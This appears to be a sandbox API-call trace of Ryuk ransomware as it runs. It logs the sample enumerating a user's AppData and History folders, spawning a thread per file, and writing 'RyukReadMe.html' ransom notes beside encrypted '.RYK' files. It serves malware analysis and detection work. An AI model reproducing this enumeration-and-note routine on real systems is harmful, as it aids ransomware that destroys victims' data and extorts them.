	[0260.233] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1d0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0260.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0260.237] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.237] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1d0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0260.237] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.238] SetLastError (dwErrCode=0x0) 
	[0260.238] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.239] GetLastError () returned 0x0
	[0260.239] WriteFile (in: hFile=0x858, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0260.242] CloseHandle (hObject=0x858) returned 1
	[0260.242] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x527692b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.242] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x527692b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.242] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.242] SetLastError (dwErrCode=0x0) 
	[0260.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.243] GetLastError () returned 0xb7
	[0260.243] CloseHandle (hObject=0x870) returned 1
	[0260.243] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0260.243] SetLastError (dwErrCode=0x0) 
	[0260.243] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.243] GetLastError () returned 0xb7
	[0260.243] CloseHandle (hObject=0x870) returned 1
	[0260.244] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.244] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.244] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.244] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0260.244] SetLastError (dwErrCode=0x0) 
	[0260.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.244] GetLastError () returned 0xb7
	[0260.245] CloseHandle (hObject=0x858) returned 1
	[0260.245] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.245] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54ad19f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54ad19f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.245] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0260.245] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x531d32f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0260.245] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0260.248] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.248] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0260.249] SetLastError (dwErrCode=0x0) 
	[0260.249] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788
	[0260.249] GetLastError () returned 0xb7
	[0260.249] CloseHandle (hObject=0x788) returned 1
	[0260.249] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0260.250] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.250] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0260.250] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708
	[0260.252] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.252] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0260.252] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0260.252] SetLastError (dwErrCode=0x0) 
	[0260.253] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.253] GetLastError () returned 0x3
	[0260.253] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0260.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.253] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52c78170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52c78170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52c78170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.253] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52c78170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52c78170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52c78170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.253] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.253] SetLastError (dwErrCode=0x0) 
	[0260.253] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.254] GetLastError () returned 0xb7
	[0260.254] CloseHandle (hObject=0x858) returned 1
	[0260.254] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.254] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c55e890, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.254] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.255] SetLastError (dwErrCode=0x0) 
	[0260.255] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.255] GetLastError () returned 0xb7
	[0260.255] CloseHandle (hObject=0x870) returned 1
	[0260.255] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.255] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c5125d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c538730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.255] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0260.255] SetLastError (dwErrCode=0x0) 
	[0260.256] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0260.256] GetLastError () returned 0xb7
	[0260.256] CloseHandle (hObject=0x5c4) returned 1
	[0260.256] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0260.256] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4
	[0260.258] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.259] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0260.259] SetLastError (dwErrCode=0x0) 
	[0260.259] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0260.259] GetLastError () returned 0xb7
	[0260.259] CloseHandle (hObject=0x870) returned 1
	[0260.259] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c988f10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c988f10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0260.260] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c988f10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c988f10, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
